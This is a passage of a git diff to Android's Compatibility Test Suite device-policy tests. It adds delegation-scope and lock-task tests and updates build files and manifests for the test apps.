+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_PACKAGE_ACCESS;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.test.InstrumentationTestCase;
+import android.test.MoreAsserts;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test that an app given the {@link DevicePolicyManager#DELEGATION_PACKAGE_ACCESS} scope via
+ * {@link DevicePolicyManager#setDelegatedScopes} can manage package hide and suspend status.
+ */
+public class PackageAccessDelegateTest extends InstrumentationTestCase {
+
+    private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
+
+    private DevicePolicyManager mDpm;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        Context context = getInstrumentation().getContext();
+        mDpm = context.getSystemService(DevicePolicyManager.class);
+    }
+
+    public void testCannotAccessApis() throws NameNotFoundException {
+        assertFalse("DelegateApp should not be a package access delegate",
+            amIPackageAccessDelegate());
+
+        // Exercise isApplicationHidden.
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.isApplicationHidden(null, TEST_APP_PKG);
+                });
+
+        // Exercise setApplicationHidden.
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.setApplicationHidden(null, TEST_APP_PKG, true /* hide */);
+                });
+
+        // Exercise isPackageSuspended.
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.isPackageSuspended(null, TEST_APP_PKG);
+                });
+
+        // Exercise setPackagesSuspended.
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.setPackagesSuspended(null, new String[] {TEST_APP_PKG}, true /* suspend */);
+                });
+    }
+
+    public void testCanAccessApis() throws NameNotFoundException {
+        assertTrue("DelegateApp is not a package access delegate", amIPackageAccessDelegate());
+
+        // Exercise isApplicationHidden.
+        assertFalse("Package should not be hidden", mDpm.isApplicationHidden(null, TEST_APP_PKG));
+
+        // Exercise setApplicationHidden.
+        assertTrue("Package not hidden successfully",
+                mDpm.setApplicationHidden(null, TEST_APP_PKG, true /* hide */));
+        assertTrue("Package should be hidden", mDpm.isApplicationHidden(null, TEST_APP_PKG));
+
+        // Exercise isPackageSuspended.
+        assertFalse("Package should not be suspended", mDpm.isPackageSuspended(null, TEST_APP_PKG));
+
+        // Exercise setPackagesSuspended.
+        String[] suspended = mDpm.setPackagesSuspended(null, new String[] {TEST_APP_PKG},
+                true /* suspend */);
+        assertTrue("Package not suspended successfully", suspended.length == 0);
+        assertTrue("Package should be suspended", mDpm.isPackageSuspended(null, TEST_APP_PKG));
+    }
+
+    private boolean amIPackageAccessDelegate() {
+        final String packageName = getInstrumentation().getContext().getPackageName();
+        final List<String> scopes = mDpm.getDelegatedScopes(null, packageName);
+        return scopes.contains(DELEGATION_PACKAGE_ACCESS);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
new file mode 100644
index 0000000..81b74a2
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.test.InstrumentationTestCase;
+import android.test.MoreAsserts;
+
+import java.util.List;
+
+/**
+ * Test that an app given the {@link DevicePolicyManager#DELEGATION_PERMISSION_GRANT} scope via
+ * {@link DevicePolicyManager#setDelegatedScopes} can grant permissions and check permission grant
+ * state.
+ */
+public class PermissionGrantDelegateTest extends InstrumentationTestCase {
+
+    private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
+    private static final String TEST_PERMISSION = "android.permission.READ_CONTACTS";
+
+    private DevicePolicyManager mDpm;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        Context context = getInstrumentation().getContext();
+        mDpm = context.getSystemService(DevicePolicyManager.class);
+    }
+
+    public void testCannotAccessApis() {
+        assertFalse("DelegateApp should not be a permisssion grant delegate",
+            amIPermissionGrantDelegate());
+
+        // Exercise setPermissionPolicy.
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.setPermissionPolicy(null, PERMISSION_POLICY_AUTO_GRANT);
+                });
+        assertFalse("Permission policy should not have been set",
+                PERMISSION_POLICY_AUTO_GRANT == mDpm.getPermissionPolicy(null));
+
+        // Exercise setPermissionGrantState.
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.setPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION,
+                            PERMISSION_GRANT_STATE_GRANTED);
+                });
+
+        // Exercise getPermissionGrantState.
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.getPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION);
+                });
+    }
+
+    public void testCanAccessApis() {
+        assertTrue("DelegateApp is not a permission grant delegate",
+            amIPermissionGrantDelegate());
+
+        // Exercise setPermissionPolicy.
+        mDpm.setPermissionPolicy(null, PERMISSION_POLICY_AUTO_DENY);
+        assertTrue("Permission policy was not set",
+                PERMISSION_POLICY_AUTO_DENY == mDpm.getPermissionPolicy(null));
+
+        // Exercise setPermissionGrantState.
+        assertTrue("Permission grant state was not set successfully",
+                mDpm.setPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION,
+                    PERMISSION_GRANT_STATE_DENIED));
+
+        // Exercise getPermissionGrantState.
+        assertEquals("Permission grant state is not denied", PERMISSION_GRANT_STATE_DENIED,
+                mDpm.getPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION));
+    }
+
+    private boolean amIPermissionGrantDelegate() {
+        final String packageName = getInstrumentation().getContext().getPackageName();
+        final List<String> scopes = mDpm.getDelegatedScopes(null, packageName);
+        return scopes.contains(DELEGATION_PERMISSION_GRANT);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
index 46d9cc0..f60ea94 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
@@ -26,11 +26,15 @@
 
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
index 9afaa7a..71496fb 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
@@ -26,11 +26,15 @@
 
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
index ba45435..e874b8b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
index 73e0e25..1e4b9c7 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
index 4be285b..6ee4acf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
index d9a9f89..68dc546 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
index 8595a39..0207110 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
index 516e32e..dfe3f21 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
-LOCAL_JAVA_LIBRARIES = conscrypt
+LOCAL_JAVA_LIBRARIES = conscrypt legacy-android-test
 
 LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util ctstestrunner ub-uiautomator
 
@@ -33,6 +33,6 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
index 962c5f5..f8de3cf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
-LOCAL_JAVA_LIBRARIES = conscrypt
+LOCAL_JAVA_LIBRARIES = conscrypt legacy-android-test
 
 LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util ctstestrunner ub-uiautomator
 
@@ -33,6 +33,6 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
index 1167a08..d3a78d2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
@@ -33,6 +33,6 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index 4e9abd7..a4cd12c 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -30,11 +30,12 @@
     ctstestrunner \
     compatibility-device-util \
     android-support-v4 \
-    android-support-test
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index 01967dc..9a09007 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -61,7 +61,14 @@
             android:name="com.android.cts.deviceowner.LockTaskUtilityActivity" />
         <activity
             android:name="com.android.cts.deviceowner.LockTaskUtilityActivityIfWhitelisted"
-            android:lockTaskMode="if_whitelisted" />
+            android:launchMode="singleInstance"
+            android:lockTaskMode="if_whitelisted">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.HOME"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
 
         <!-- we need to give a different taskAffinity so that when we use
              FLAG_ACTIVITY_NEW_TASK, the system tries to start it in a different task
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
index 00b498a..bf08014 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -143,6 +143,10 @@
      * Behavior of getState() and isEnabled() are validated along the way.
      */
     private void disable() {
+        // Can't disable a bluetooth adapter that does not exist.
+        if (mBluetoothAdapter == null)
+            return;
+
         sleep(CHECK_WAIT_TIME_MS);
         if (mBluetoothAdapter.getState() == BluetoothAdapter.STATE_OFF) {
             assertFalse(mBluetoothAdapter.isEnabled());
@@ -200,6 +204,10 @@
      * Behavior of getState() and isEnabled() are validated along the way.
      */
     private void enable() {
+        // Can't enable a bluetooth adapter that does not exist.
+        if (mBluetoothAdapter == null)
+            return;
+
         sleep(CHECK_WAIT_TIME_MS);
         if (mBluetoothAdapter.getState() == BluetoothAdapter.STATE_ON) {
             assertTrue(mBluetoothAdapter.isEnabled());
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
new file mode 100644
index 0000000..ce79922
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.app.ActivityManager;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test class that is meant to be driven from the host and can't be run alone, which is required
+ * for tests that include rebooting or other connection-breaking steps. For this reason, this class
+ * does not override tearDown and setUp just initializes the test state, changing nothing in the
+ * device. Therefore, the host is responsible for making sure the tests leave the device in a clean
+ * state after running.
+ */
+@RunWith(AndroidJUnit4.class)
+public class LockTaskHostDrivenTest {
+
+    private static final String TAG = LockTaskHostDrivenTest.class.getName();
+
+    private static final String PACKAGE_NAME = LockTaskHostDrivenTest.class.getPackage().getName();
+    private static final ComponentName ADMIN_COMPONENT =
+            new ComponentName(PACKAGE_NAME, BaseDeviceOwnerTest.BasicAdminReceiver.class.getName());
+
+    private static final String LOCK_TASK_ACTIVITY
+            = LockTaskUtilityActivityIfWhitelisted.class.getName();
+
+    private UiDevice mUiDevice;
+    private Context mContext;
+    private ActivityManager mActivityManager;
+    private DevicePolicyManager mDevicePolicyManager;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+        mDevicePolicyManager =  mContext.getSystemService(DevicePolicyManager.class);
+        mActivityManager = mContext.getSystemService(ActivityManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+    }
+
+    @Test
+    public void startLockTask() throws Exception {
+        Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
+        setDefaultHomeIntentReceiver();
+        launchLockTaskActivity();
+        mUiDevice.waitForIdle();
+    }
+
+    @Test
+    public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
+        mUiDevice.waitForIdle();
+
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressBack();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressHome();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressRecentApps();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.waitForIdle();
+    }
+
+    @Test
+    public void clearDefaultHomeIntentReceiver() {
+        mDevicePolicyManager.clearPackagePersistentPreferredActivities(ADMIN_COMPONENT,
+                PACKAGE_NAME);
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
+    }
+
+    private void checkLockedActivityIsRunning() throws Exception {
+        assertTrue(isActivityOnTop());
+        assertEquals(ActivityManager.LOCK_TASK_MODE_LOCKED,
+                mActivityManager.getLockTaskModeState());
+    }
+
+    private boolean isActivityOnTop() {
+        return mActivityManager.getAppTasks().get(0).getTaskInfo().topActivity
+                .getClassName().equals(LOCK_TASK_ACTIVITY);
+    }
+
+    private void launchLockTaskActivity() {
+        Intent intent = new Intent();
+        intent.setClassName(PACKAGE_NAME, LOCK_TASK_ACTIVITY);
+        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(LockTaskUtilityActivity.START_LOCK_TASK, true);
+        mContext.startActivity(intent);
+    }
+
+    private void setDefaultHomeIntentReceiver() {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        IntentFilter intentFilter = new IntentFilter(Intent.ACTION_MAIN);
+        intentFilter.addCategory(Intent.CATEGORY_HOME);
+        intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
+        mDevicePolicyManager.addPersistentPreferredActivity(ADMIN_COMPONENT, intentFilter,
+                new ComponentName(PACKAGE_NAME, LOCK_TASK_ACTIVITY));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index 964c389..ce3c537 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -26,11 +26,14 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-v4 \
+    ctstestrunner \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.mk b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
index b0abc23..0fc0564 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
@@ -26,11 +26,15 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	android-support-v4 \
+	ctstestrunner \
+	ub-uiautomator \
+	legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
index 19fd3bd..4604b2c 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
@@ -24,13 +24,16 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := legacy-android-test cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES = \
+	android-support-v4 \
+	ctstestrunner \
+	android-support-test
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
index 9e86d13..3c3adcf 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
@@ -24,11 +24,11 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := cts-junit
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
index ae6282f..ce366d9 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
@@ -26,12 +26,18 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner compatibility-device-util \
-	ub-uiautomator android-support-test guava
+LOCAL_STATIC_JAVA_LIBRARIES = \
+	android-support-v4 \
+	ctstestrunner \
+	compatibility-device-util \
+	ub-uiautomator \
+	android-support-test \
+	guava \
+	legacy-android-test
 
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index b8a5eae6..c680af0 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -30,6 +30,7 @@
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
     <application
         android:testOnly="true">
@@ -114,6 +115,17 @@
                 <data android:mimeType="vnd.android.cursor.item/phone" />
                 <data android:mimeType="vnd.android.cursor.item/person" />
             </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="tel" />
+            </intent-filter>
         </activity>
         <service android:name=".AccountService" android:exported="true">
             <intent-filter>
@@ -132,6 +144,21 @@
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
+
+        <service
+            android:name=".CrossProfileNotificationListenerService"
+            android:label="CrossProfileNotificationListenerService"
+            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
+
+        <receiver android:name=".MissedCallNotificationReceiver">
+            <intent-filter>
+                <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION" />
+            </intent-filter>
+        </receiver>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileNotificationListenerService.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileNotificationListenerService.java
new file mode 100644
index 0000000..9a17733
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileNotificationListenerService.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
